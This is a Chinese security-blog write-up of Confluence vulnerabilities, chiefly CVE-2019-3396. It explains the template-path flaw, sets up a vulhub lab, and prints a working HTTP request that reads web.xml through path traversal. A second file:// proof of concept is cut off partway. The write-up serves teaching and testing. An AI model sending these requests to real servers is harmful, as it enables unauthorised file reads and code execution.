freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试 | Confluence漏洞总结
2024-12-03 20:50:31
所属地 上海

前言

在前面的测试过程中遇到了Confluence的系统,然后去查了一下该系统的一些常见的漏洞,本篇文章就来看看Confluence的常见漏洞。同时也通过这些漏洞进一步的学习一下有关模版注入,变量覆盖漏洞的一些知识。

Confluence简介

Atlassian Confluence是企业广泛使用的wiki系统,是目前在各大企业广泛使用的一套系统。Confluence 基于 Struts 架构进行开发。

Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)

Atlassian Confluence其6.14.2版本前存在一处未授权的目录穿越漏洞, 通过该漏洞,攻击者可以读取任意文件,或利用Velocity模板注入执行任意命令。

漏洞原理

在预览的时候可以指定模版,但是却没有对模版的路径和协议进行限制,因此可以使用`file:///etc/passwd`来读取文件,也可以通过'https://....'来加载远程文件。

RCE的原理:该系统使用的是Velocity模版,前面已经说过可以通过远程加载模版文件。那么可以通过远程加载模版文件,来进行RCE,也就是模版注入。


如下图所示,可以控制传入的模版,点击预览功能时发的包里并没有_template参数,需要手动加上。因此这个漏洞一般需要白盒审计才能发现

1733229019_674ef9dbc5d4f93dd5272.png!small?1733229021728

根据模版名取获取模版

1733229184_674efa802efa24846eea4.png!small?1733229184891

通过下面的四种方式去获取模版

1733229196_674efa8ca6d27e0f4be57.png!small?1733229197484

我们利用的时候一般是通过下面的两个方式

velocity-1.6.4-atlassian-9.jar
org.apache.velocity.runtime.resource.loader.FileResourceLoader       通过文件名加载模版,不可跨目录加载,因为StringUtil.normalizePath 过滤了 /../
org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader    通过file://等协议进行加载文件,首先拼接类资源路径WebappPath,当通过WebappPath 打开流失败时,调用 catalina.jar!\org\apache\catalina\loader\WebappClassLoaderBase.class 父类的 findResource 获取 URL

漏洞利用

搭建环境

使用vulhub的环境来进行复现

1733229323_674efb0bd99f638e995ef.png!small?1733229324520

环境启动后,访问`http://your-ip:8090`会进入安装引导,选择“Trial installation”,之后会要求填写license key。点击“Get an evaluation license”,去Atlassian官方申请一个Confluence Server的测试证书(不要选择Data Center和Addons):

1733229330_674efb1254b176b31bb79.png!small?1733229330873

申请一下点next

1733229336_674efb18906123b33a191.png!small?1733229337202

填写数据库信息

1733229343_674efb1fdeb377b55c58a.png!small?1733229344541

读取web.xml文件

POC

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://localhost:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 176

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}

1733229555_674efbf3cc8cb1a1cdddf.png!small?1733229556429

利用file协议读取本地任意文件

6.12以前的Confluence没有限制文件读取的协议和路径,我们可以使用file:///etc/passwd来读取文件,也可以通过https://...来加载远程文件。

POC

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 10.0.0.100:8090
Content-Length: 184
Accept: text/html, */*; q=0.01
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like 
# web安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录